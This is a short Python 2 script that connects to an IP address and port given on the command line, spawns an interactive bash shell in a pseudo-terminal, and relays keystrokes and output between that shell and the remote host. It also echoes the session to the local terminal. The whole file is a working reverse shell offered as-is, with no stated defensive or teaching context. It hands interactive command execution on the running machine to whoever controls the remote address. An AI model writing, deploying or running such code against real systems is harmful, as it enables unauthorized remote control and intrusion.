import sys,socket,os,fcntl,termios,array,select

_,ip,port=sys.argv

print "Opening connection..."
remote = socket.socket()
remote.connect((ip,int(port)))

print "Launching bash..."
pid, fd = os.forkpty()
if pid == 0: # CHILD
    os.execlp('/bin/bash', '-i')

# fix window size
buf = array.array('h', [0, 0, 0, 0])
fcntl.ioctl(sys.stdout.fileno(), termios.TIOCGWINSZ, buf, True)
fcntl.ioctl(fd, termios.TIOCSWINSZ, buf)

print "Starting loop..."
while 1:
    avail,_,_ = select.select([fd,remote,sys.stdin], [], [])
    if fd in avail:
        data = os.read(fd, 1024)
        os.write(remote.fileno(),data)
        os.write(sys.stdout.fileno(), data)
    if remote in avail:
        data = os.read(remote.fileno(), 1024)
        os.write(fd, data)
    if sys.stdin in avail:
        data = os.read(sys.stdin.fileno(), 1024)
        os.write(fd, data)